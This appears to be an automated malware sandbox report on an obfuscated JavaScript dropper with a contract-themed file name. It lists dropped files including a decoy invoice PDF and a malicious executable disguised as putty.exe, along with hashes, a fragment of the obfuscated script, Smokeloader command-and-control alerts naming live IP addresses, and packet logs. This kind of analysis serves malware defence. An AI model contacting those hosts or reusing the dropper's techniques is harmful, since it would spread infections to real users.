SHA-256:	18E11BC1F0A88AC0A8975C11F848EED464484677797B4F5A9C114DC4EFE20AE1
SHA-512:	F66A69118FF2460877A725EC92080E1A3A439F1AE901224736058DDDE7AF1B4E4F7BF2EA3967DFD851BC648BA1A76CD9EA04AC8BF6D411A30180E431EBA08038
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI749a6.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5209238895127717
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8sKDgE1w:Qw946cPbiOxDlbYnuRKSE0w
MD5:	E5EFD6A7BCC5B1B88AC5E7A0016B4DB3
SHA1:	6C19F8EBE3C786A0103719E21E95E56F2AE071F7
SHA-256:	127BA61CB68DD46B3D105EA7EC08D705D0AF9CEDF57DA3CFFC182CEB728D417B
SHA-512:	DCAAB654070104A4A265B9CEFD22C44FFD4BF5C8A8C6DEE1CCEEEF68C6889891AF327B95A7A3046699CC30502F15978B2A10271E66B971B99CF178F3049DD8CF
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.8./.1.2./.2.0.2.4. . .0.3.:.2.1.:.5.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kn3f50jp.mjy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nbslfjdl.2l1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-18 03-21-52-942.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.346011504419146
Encrypted:	false
SSDEEP:	384:BqIxwGbWz/d64bJEaE3eErgEVCjzI8K7Wq2YUYNzgzxzOupDPdz4I9j8jI/BvfDJ:5bEd3NShrMdom
MD5:	789D1F2F853618A17B73FBEF9532AB2F
SHA1:	5322D042DC96B7E30E3914F7C21729559D534D3E
SHA-256:	482DB450F9F106D18D3E1EAE7A160CC9E75201F9336327CDBCA465997BF56FB2
SHA-512:	20E8E45817B30FE1B03ABE69E71C534EF8DA2015CE237E3F93FDF932D6CDE1FD126465530B61E56A32E9D65A3A6858A1B3B00806571A232876EACAD293871629
Malicious:	false
Preview:	SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:322+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=2ea1274d-4863-404e-b24b-36d6ccd1bf33.1696504095322 Timestamp=2023-10-05T13:08:15:325+0200 ThreadID=6712 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.337813005305961
Encrypted:	false
SSDEEP:	384:Tw2ZuUTDUb+I4zmLFsQ+aA27fUhHu3LQZanzFh1/arVX+mZFvsDsZgDxk248Kf/1:zFD
MD5:	D5C63F28428E77622D5A031F9CF4CF36
SHA1:	1B041C49DF49F2B68901220E8C04914F0BB027BB
SHA-256:	EEC170840508BEA0735BA67A5B311E5F218AE52BE27891DC3D196D5431A16ABB
SHA-512:	462E5B0FF001C75422E48AD6E8F79918E86F5FAA3115AA39715218B5B89163C9A711FC21F620FC92FD4A30CCAC3D88A7B23E8BBF2BE7FA0AB8C89F69B4F93EA9
Malicious:	false
Preview:	SessionID=05ac903f-cedf-49ac-a162-a32cbbee16ef.1734510112964 Timestamp=2024-12-18T03:21:52:964-0500 ThreadID=7452 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=05ac903f-cedf-49ac-a162-a32cbbee16ef.1734510112964 Timestamp=2024-12-18T03:21:52:966-0500 ThreadID=7452 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=05ac903f-cedf-49ac-a162-a32cbbee16ef.1734510112964 Timestamp=2024-12-18T03:21:52:966-0500 ThreadID=7452 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=05ac903f-cedf-49ac-a162-a32cbbee16ef.1734510112964 Timestamp=2024-12-18T03:21:52:966-0500 ThreadID=7452 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=05ac903f-cedf-49ac-a162-a32cbbee16ef.1734510112964 Timestamp=2024-12-18T03:21:52:966-0500 ThreadID=7452 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.393646059768013
Encrypted:	false
SSDEEP:	192:Ncb/mILxcb2cbeLIFrcbCkcbAIp/cbVcbIIJDcbZcbCIY+cb2cbyIx3cb5:2PLH8FVfpBJnYzxE
MD5:	35564982E60E2E7FA25F80DF85FFB96B
SHA1:	15388C289EF6CA3C97A96468112D0FBD4A3EB4E1
SHA-256:	4C347F620E48C49576D369B6C5BE47F4A03C0BE81B266486692284634566900E
SHA-512:	655E8A213821429D8015585B18657573A7BD014DD473DE2C4A184518716E87BD7C1E0B745A01AABDB75E061EF518FE1D32529E2E9ECD7BA4335C0B64AF5472CD
Malicious:	false
Preview:	05-10-2023 12:57:02:.---2---..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 12:57:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 12:57:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\51ec320d-4b99-4a0b-bc87-6fed67a8a3e1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a10ae33b-abd0-4e89-a8af-3cfe4cacb49d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\dc4d76c3-dff7-494c-876c-e5bf215629b5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\de6bf751-6240-47bd-84c8-fba4248844b6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/M7oMOWLaGZ4ZwYIGNP8dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:RVWLaGZ4ZwZGm3mlind9i4ufFXpAXkru
MD5:	E787F9888A1628BE8234F19E8EE26D68
SHA1:	44D5180C06ADBBDAADDBCE350CE4DEC997CD83E5
SHA-256:	3A09F3799148DA49F039A35AEDD22F368FB35B8D6022C4691C10606F704DAF80
SHA-512:	EE9B602898706CC0F33AA570E29A79A58ED748E1B738D74DF0C8C8DF193E23421B47AC8C862623ED774289D94FA90662A4CC436B80479D6420433D81752E9CA9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Roaming\invoce.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7, 1 pages
Category:	dropped
Size (bytes):	145906
Entropy (8bit):	7.98440757373446
Encrypted:	false
SSDEEP:	3072:BHFLlD17rM9RysW8uM5SWUE/xT9RQw0j1P+kHnNBZXBaLUTc7:BHFLlVyQT8up0Ew0jV+YNB1sQw7
MD5:	FDC7245B6A22AC73F789E4FD992EF5BD
SHA1:	B9210E44DD4A7905303383E8CF577A7D5C88FCD2
SHA-256:	9833CBD22FD50181F8939114920E883BACF8D727337F5DCDF4450D0312ECA188
SHA-512:	101CA7AE6D541A494FD1930FCDEB581E802B066274A3921B42C2894FF75BA12AD8D6119A3C1F2E8A2C45BDBA439622EA706599F8AFD496FE2474F3C8C3926414
Malicious:	false
Preview:	%PDF-1.7.%.....1 0 obj.<<./Filter /FlateDecode./Length 2 0 R./Length1 43480./Length2 0./Length3 0.>>.stream.x...XTG.8^Uw.....o.4h..........THB.....kV5..L4..l3.L..E...'d_...,c...2f...3.8&J.?U.AL2......._..[.:u..s..6.#..h#.lm.:..S. .I....+V.L..B.`FH..b...7/.s.B.9........VB....3.......BuY.OjZ.y...R.x.B..U-..m....B6.^].y..A...e...._..... .eB....V.\|...m?.....A...n...P.B..G\.y.8.>.3......z.{..U..Cnt.{.DT.x.O...4..BNT......\h!*.<...[...k..D...............t.0.#.Q......F.%.)..............{....p....._=\|.Zu..<T.....>.&.[.m.Qy........f...-$8....(.j...S.....D7.{..{.Bw..Q..I-W(<.-..Eh.Z.......+....?G".B..S3..O.s.#.yx....b.^......1.[.8.?....P4:...Y...-.6t....O#3.3.(2..Y..G..._.....h6..._..X....{.K....(.z[..v....F. :...m>D...c.x).....I.y...{.{...c@.D..4.D....?..-,@.Y.._.[.v..\|.t...?y..=......c.3....<(..AW..@._.^...O.....;:..<.7..q7>..&2.G.I+..<B...q.s.....J.M...&...^.....#.T........c.....(z-p.#.9.6..>.......?._./.V:.&\|'~........D.;.L'E.j.i.:]G. wB.o.......

C:\Users\user\AppData\Roaming\putty.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	331264
Entropy (8bit):	7.31794844202294
Encrypted:	false
SSDEEP:	6144:xwOCfMLyi6hxoZ60dMEAaWC++mpFphvhusianDqFirYZFBkMB:xwFfM2i6hCA0WEB+f3hvjianSZFt
MD5:	C09AA26230A2083DA9032866FD33703D
SHA1:	2D1706C9D1BDCA15650A2AF93A7CD2B6D0D41780
SHA-256:	7A70F2C8E40FE861DB51E119D589C7C5D036581D7F46474B364B1280ED8A540B
SHA-512:	C3308BF60214A7EE9B9C2C65FA4D9DDF50A207CD90E67E5AC1BE03F08AE28D0302AC58FF882D3964C9991069197BF0ACAC6DB43DDFCA0AF34573B463DBF725EE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."...f...f...f...x.$.\|...x.5.T...x.2...A~.e...f.....x.;.g...x.%.g...x. .g...Richf...................PE..L....\.d.................l.......................@.................................#....................................... p..(....@...9...........................................................8..@............................................text....j.......l.................. ..`.data...........d...p..............@....rsrc....9...@...:..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\therfaa

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	331264
Entropy (8bit):	7.31794844202294
Encrypted:	false
SSDEEP:	6144:xwOCfMLyi6hxoZ60dMEAaWC++mpFphvhusianDqFirYZFBkMB:xwFfM2i6hCA0WEB+f3hvjianSZFt
MD5:	C09AA26230A2083DA9032866FD33703D
SHA1:	2D1706C9D1BDCA15650A2AF93A7CD2B6D0D41780
SHA-256:	7A70F2C8E40FE861DB51E119D589C7C5D036581D7F46474B364B1280ED8A540B
SHA-512:	C3308BF60214A7EE9B9C2C65FA4D9DDF50A207CD90E67E5AC1BE03F08AE28D0302AC58FF882D3964C9991069197BF0ACAC6DB43DDFCA0AF34573B463DBF725EE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......."...f...f...f...x.$.\|...x.5.T...x.2...A~.e...f.....x.;.g...x.%.g...x. .g...Richf...................PE..L....\.d.................l.......................@.................................#....................................... p..(....@...9...........................................................8..@............................................text....j.......l.................. ..`.data...........d...p..............@....rsrc....9...@...:..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (26816), with no line terminators
Entropy (8bit):	3.5098045801291926
TrID:
File name:	#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js
File size:	26'816 bytes
MD5:	f0f21a53585ee70adbe6004636da53f4
SHA1:	8123ab7729d5c1a339af4e5f6c93b68e1acdfaf4
SHA256:	292bda20c71cc52f49c84f40160d5747ed2c6ab24ce7a027d2808888438b93a6
SHA512:	46dfd0ac081b3ee3d07b42beeb41d8b97f335f5dcbfc430a28672fd0460d64e977d81f5053b642266495dd05d9f80cee393b9f6312bf580ff3e32d2bbd30d8bf
SSDEEP:	96:VmLALrz4Qmb+drOwdQAxkjddwcddSJdznbAPW5J/0wcZp4gh0suA+ZzbwZ76Xbds:VmMLrKb
TLSH:	79C26813D17C0FAD2CC2A8D5849CF25B738B8A761CE4B5C79919FD28AF075A88639C71
File Content Preview:	iG=102;wB=117;Sy=110;fr=99;AL=116;EJ=105;df=111;cN=32;sm=114;Xj=90;Vu=78;uu=88;XY=120;Zm=113;qp=40;oW=98;hO=121;iZ=69;Mi=41;tb=123;JI=118;iI=97;dS=82;Vx=73;cV=107;fw=61;DZ=34;En=59;MB=76;et=122;Zs=106;AK=85;Wi=48;cO=60;wD=46;BJ=108;tw=101;aM=103;Ll=104;QF

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-18T09:21:50.601191+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.11	49706	94.156.177.51	80	TCP
2024-12-18T09:22:22.734924+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.11	49796	94.156.177.51	80	TCP
2024-12-18T09:22:22.734924+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.11	49796	94.156.177.51	80	TCP
2024-12-18T09:22:24.734755+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.11	49802	94.156.177.51	80	TCP
2024-12-18T09:22:47.605253+0100	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.11	49808	109.70.26.37	80	TCP
2024-12-18T09:22:47.605253+0100	2851815	ETPRO MALWARE Sharik/Smokeloader CnC Beacon 18	1	192.168.2.11	49808	109.70.26.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 09:21:47.650949955 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:47.770607948 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:47.770689011 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:47.771719933 CET	49706	80	192.168.2.11	94.156.177.51
Dec 18, 2024 09:21:47.891268969 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.119394064 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.119452000 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.119463921 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.119610071 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.119621992 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.119632959 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.119735956 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.119782925 CET	80	49706	94.156.177.51	192.168.2.11
Dec 18, 2024 09:21:49.119793892 CET	80	49706	94.156.177.51	192.168.2.11
